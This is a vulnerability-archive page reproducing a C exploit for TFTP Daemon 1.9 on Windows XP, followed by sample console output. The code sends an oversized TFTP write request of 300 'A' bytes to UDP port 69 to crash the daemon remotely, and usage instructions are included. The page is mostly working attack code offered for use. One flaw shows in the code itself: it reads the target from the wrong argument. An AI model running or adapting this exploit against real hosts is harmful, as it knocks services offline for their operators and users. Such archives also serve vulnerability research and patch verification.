Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:22988
HistoryDec 22, 2009 - 12:00 a.m.

Remote Buffer Overflow Exploit (TFTP Daemon Version 1.9) by Socket_0x03

2009-12-2200:00:00
vulners.com
30

//################################################
//
//Vulnerability: Remote Buffer Overflow Exploit
//Impact: Remote Denial of Service Attack
//Vulnerable Application: TFTP Daemon Version 1.9
//Tested on Windows XP Service Pack II
//
//Author: Socket_0x03
//Contact: [email protected]
//Website: www.teraexe.com
//
//################################################

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "ws2_32.lib")

char Buffer_Overflow[] =
"\x00\x02"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" // A = 41. 300 bytes…
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\0"
"netascii"
"\0";

void main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
SOCKET mysocket;
int destPORT = 69;

    if &#40;argc &lt; 2&#41;{
            printf&#40;&quot;&#92;nVulnerability: Remote Buffer Overflow Exploit&#92;n&quot;&#41;;
            printf&#40;&quot;Impact: Remote Denial of Service Attack&#92;n&quot;&#41;;
            printf&#40;&quot;Vulnerable Application: TFTP Daemon Version 1.9&#92;n&quot;&#41;;
            printf&#40;&quot;&#92;nAuthor: Socket_0x03&#92;n&quot;&#41;;
            printf&#40;&quot;Contact: [email protected]&#92;n&quot;&#41;;
            printf&#40;&quot;Website: www.teraexe.com&#92;n&quot;&#41;;
            printf&#40;&quot;&#92;nUsage: exploit + IP Address&#92;n&quot;&#41;;
            printf&#40;&quot;Example: exploit 192.168.1.100&#92;n&quot;&#41;;
            return;
    }

    wVersionRequested = MAKEWORD&#40;1, 1&#41;;
    if &#40;WSAStartup&#40;wVersionRequested, &amp;wsaData&#41; &lt; 0&#41; {
            printf&#40;&quot;No winsock suitable version found!&quot;&#41;;
            return;
    }
    mysocket = socket&#40;AF_INET, SOCK_DGRAM   , 0&#41;;
    if&#40;mysocket==INVALID_SOCKET&#41;{
            printf&#40;&quot;Error: Cannot create a socket.&#92;n&quot;&#41;;
            exit&#40;1&#41;;
    }
    printf&#40;&quot;Resolving IP Address.&#92;n&quot;&#41;;
    if &#40;&#40;pTarget = gethostbyname&#40;argv[2]&#41;&#41; == NULL&#41;{
            printf&#40;&quot;Error: Resolve of &#37;s failed.&#92;n&quot;, argv[1]&#41;;
            exit&#40;1&#41;;
    }
    memcpy&#40;&amp;sock.sin_addr.s_addr, pTarget-&gt;h_addr, pTarget-&gt;h_length&#41;;
    sock.sin_family = AF_INET;
    sock.sin_port = htons&#40;destPORT&#41;;

    printf&#40;&quot;Connecting to Daemon 1.9&#92;n&quot;&#41;;
    if &#40; &#40;connect&#40;mysocket, &#40;struct sockaddr *&#41;&amp;sock, sizeof &#40;sock&#41; &#41;&#41;&#41;{
            printf&#40;&quot;Error: Could not connect to TFTP Daemon&#92;n&quot;&#41;;
            exit&#40;1&#41;;
    }

    printf&#40;&quot;Connection Completed.&#92;n&quot;&#41;;
    Sleep&#40;10&#41;;

    printf&#40;&quot;Sending packet.&#92;n&quot;&#41;;
    if &#40;send&#40;mysocket,Buffer_Overflow, sizeof&#40;Buffer_Overflow&#41;+1, 0&#41; == -1&#41;{
            printf&#40;&quot;Error sending packet.&#92;n&quot;&#41;;
            closesocket&#40;mysocket&#41;;
            exit&#40;1&#41;;
    }
    printf&#40;&quot;Remote Buffer Overflow Completed.&#92;n&quot;&#41;;

    closesocket&#40;mysocket&#41;;
    WSACleanup&#40;&#41;;

}

/*
Microsoft Windows XP [Versiуn 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>exploit

Vulnerability: Remote Buffer Overflow Exploit
Impact: Remote Denial of Service Attack
Vulnerable Application: TFTP Daemon Version 1.9

Author: Socket_0x03
Contact: [email protected]
Website: www.teraexe.com

Usage: exploit + IP Address
Example: exploit 192.168.1.100

C:\>exploit 192.168.1.101
Resolving IP Address.
Connecting to Daemon 1.9
Connection Completed.
Sending packet.
Remote Buffer Overflow Completed.

C:\>
*/